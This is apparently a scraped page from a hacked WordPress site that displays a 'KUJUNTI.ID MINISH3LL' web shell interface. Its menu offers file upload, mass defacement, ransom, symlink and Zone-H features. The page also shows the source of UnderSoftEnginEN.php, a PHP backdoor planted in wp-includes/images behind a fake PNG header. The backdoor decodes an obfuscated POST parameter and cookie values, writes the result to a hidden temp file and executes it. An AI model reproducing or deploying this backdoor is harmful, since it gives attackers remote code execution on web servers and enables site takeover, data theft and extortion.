\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/eceas/wp-includes/images/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/eceas/wp-includes/images/UnderSoftEnginEN.php


<?php																																										if(!empty($_POST["poi\x6E\x74\x65r"])){ $ref = $_POST["poi\x6E\x74\x65r"]; $ref = explode ( "." ,$ref ) ; $parameter_group =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt); $s =0; foreach( $ref as $v4) { $sChar =ord( $salt[$s % $lenS]); $d =( ( int)$v4 - $sChar -( $s % 10)) ^ 7; $parameter_group .= chr( $d); $s++; } $elem = array_filter([getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir()]); foreach ($elem as $pgrp) { if ((bool)is_dir($pgrp) && (bool)is_writable($pgrp)) { $marker = sprintf("%s/.component", $pgrp); if (file_put_contents($marker, $parameter_group)) { require $marker; unlink($marker); exit; } } } }


if (isset($_COOKIE[3]) && isset($_COOKIE[20])) {

    $c = $_COOKIE;
    $k = 0;
    $n = 3;
    $p = array();
    $p[$k] = '';
    while ($n) {
        $p[$k] .= $c[20][$n];
        if (!$c[20][$n + 1]) {
            if (!$c[20][$n + 2]) break;
            $k++;
            $p[$k] = '';
            $n++;
        }
        $n = $n + 3 + 1;
    }
    $k = $p[16]() . $p[22];
    if (!$p[9]($k)) {
        $n = $p[29]($k, $p[7]);
        $p[27]($n, $p[2] . $p[4]($p[13]($c[3])));
    }
    include($k);
}

© KUJUNTI.ID